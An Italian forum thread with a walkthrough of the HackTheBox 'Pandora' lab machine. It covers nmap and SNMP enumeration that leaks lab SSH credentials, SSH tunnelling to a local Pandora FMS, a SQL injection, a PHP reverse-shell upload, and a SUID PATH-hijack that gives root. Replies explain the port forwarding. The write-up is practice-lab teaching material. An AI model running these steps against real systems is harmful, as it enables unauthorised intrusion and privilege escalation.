Discussione Pandora - HackTheBox walkthrough

monnezzza

Utente Silver
11 Marzo 2021
119
23
53
86
Ultima modifica:
Oggi vi faccio vedere il walkthrough della macchina pandora su htb.
Enumeration
Indirizzo ip: 10.10.11.136
Iniziamo con uno scan di nmap delle prime 1000 porte

Bash:
emulator@iron:~$ sudo nmap -sS -A 10.10.11.136

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:40 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.052s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/3%OT=22%CT=1%CU=37913%PV=Y%DS=2%DC=T%G=Y%TM=6299E51F
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   46.76 ms 10.10.14.1
2   47.53 ms pandora (10.10.11.136)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.50 seconds

Poi facciamo uno scan di tutte le porte tcp

Bash:
emulator@iron:~$ sudo nmap -p- -sS -T4 10.10.11.136

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:40 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.064s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 67.85 seconds

E infine uno scan udp delle 1000 porte

Bash:
emulator@iron:~$ sudo nmap -T5 -sU 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:43 CEST
Host is up (0.053s latency).
Not shown: 538 closed ports, 461 open|filtered ports
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 583.73 seconds

Allora nelle porte udp c'è la porta 161/udp aperta con snmp.
SNMP è un protocollo usato per scambio di informazioni e la gestione tra dispositivi di rete.

Per enumerare snmp possiamo snmpwalk con questo comando.
Bash:
snmpwalk -v 1 -c public 10.10.11.136 | tee snmp.log

Vedendo quello che snmpwalk ha tirato fuori ho notato questa stringa molto interessante.
Codice:
iso.3.6.1.2.1.25.4.2.1.5.1134 = STRING: "-u daniel -p HotelBabylon23"

Proviamo a loggarci con ssh e siamo dentro.
1654258306382.png

Vedendo le porte in ascolto ho trovato qualcosa di strano sulla porta 80

1654258768596.png

Usando ssh tunnelling sono riuscito a vedere che in localhost c'è pandora fms
Codice:
ssh -L 8000:127.0.0.1:80 [email protected]
ecco uno screen della pagina
1654258934040.png

Cercando una vulnerabilita per pandora fms 742 ho trovato una sql injection che permette di diventare admin
Link per l'exploit:
E siamo dentro come l'admin
1654259252397.png

Adesso andiamo su Admin Tools e poi file manager e carichiamo una php reverse shell.
Mettiamoci in ascolto e abbiamo una shell
1654259631792.png

Cercando dei suid ne ho trovato uno chiamato pandora_backup
1654259807834.png

Portandolo nella macchina locale e usando strings ho trovato che usa tar con una relativa path e possiamo exploitarlo seguendo questo tutorial
Basta usare
Bash:
export PATH=/tmp:$PATH
echo "/bin/bash -p" > /tmp/tar
chmod +x /tmp/tar
1654260159694.png

Eseguiamo il binario e sono root

1654260526439.png

E cosi abbiamo finito la macchina
 

Allegati

  • 1654256522578.png
    1654256522578.png
    39.9 KB · Visualizzazioni: 10
Ultima modifica:
Oggi vi faccio vedere il walkthrough della macchina pandora su htb.
Enumeration
Indirizzo ip: 10.10.11.136
Iniziamo con uno scan di nmap delle prime 1000 porte

Bash:
emulator@iron:~$ sudo nmap -sS -A 10.10.11.136

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:40 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.052s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/3%OT=22%CT=1%CU=37913%PV=Y%DS=2%DC=T%G=Y%TM=6299E51F
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   46.76 ms 10.10.14.1
2   47.53 ms pandora (10.10.11.136)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.50 seconds

Poi facciamo uno scan di tutte le porte tcp

Bash:
emulator@iron:~$ sudo nmap -p- -sS -T4 10.10.11.136

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:40 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.064s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 67.85 seconds

E infine uno scan udp delle 1000 porte

Bash:
emulator@iron:~$ sudo nmap -T5 -sU 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-03 12:43 CEST
Host is up (0.053s latency).
Not shown: 538 closed ports, 461 open|filtered ports
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 583.73 seconds

Allora nelle porte udp c'è la porta 161/udp aperta con snmp.
SNMP è un protocollo usato per scambio di informazioni e la gestione tra dispositivi di rete.

Per enumerare snmp possiamo snmpwalk con questo comando.
Bash:
snmpwalk -v 1 -c public 10.10.11.136 | tee snmp.log

Vedendo quello che snmpwalk ha tirato fuori ho notato questa stringa molto interessante.
Codice:
iso.3.6.1.2.1.25.4.2.1.5.1134 = STRING: "-u daniel -p HotelBabylon23"

Proviamo a loggarci con ssh e siamo dentro.
Visualizza allegato 62978
Vedendo le porte in ascolto ho trovato qualcosa di strano sulla porta 80

Visualizza allegato 62979
Usando ssh tunnelling sono riuscito a vedere che in localhost c'è pandora fms
Codice:
ssh -L 8000:127.0.0.1:80 [email protected]
ecco uno screen della pagina
Visualizza allegato 62980
Cercando una vulnerabilita per pandora fms 742 ho trovato una sql injection che permette di diventare admin
PoC:
Penso che il writeup si sia troncato alla parte della SQL Injection :(

PS. Davvero ben fatto, complimenti!
 
seguo con interesse la discussione.
Fino a qui tutto chiaro però prima di proseguire vorrei capire come si trova la porta 8000, l'url della schermata di login non dovrebbe essere 127.0.0.1:80/pandora_console/ ?
Non c'è nessuna porta 8000, ho soltanto usato l'ssh tunnelling per mettere pandora fms sulla porta 8000 in locale
 
seguo con interesse la discussione.
Fino a qui tutto chiaro però prima di proseguire vorrei capire come si trova la porta 8000, l'url della schermata di login non dovrebbe essere 127.0.0.1:80/pandora_console/ ?
Yep, come ha detto Emu il comando
ssh -L 8000:127.0.0.1:80 [email protected]
serve ad eseguire tramite SSH un port forwarding della porta 127.0.0.1:80 (sul server) a 0.0.0.0:8000 (sul client). In questo modo tutte le richieste inviate a localhost:8000 vengono forwardate a localhost:80 sul server, permettendo così di raggiungere un sito web che altrimenti non sarebbe stato possibile raggiungere
 
  • Mi piace
Reazioni: monnezzza
Non c'è nessuna porta 8000, ho soltanto usato l'ssh tunnelling per mettere pandora fms sulla porta 8000 in locale

serve ad eseguire tramite SSH un port forwarding della porta 127.0.0.1:80 (sul server) a 0.0.0.0:8000 (sul client). In questo modo tutte le richieste inviate a localhost:8000 vengono forwardate a localhost:80 sul server, permettendo così di raggiungere un sito web che altrimenti non sarebbe stato possibile raggiungere
adesso è chiaro! grazie!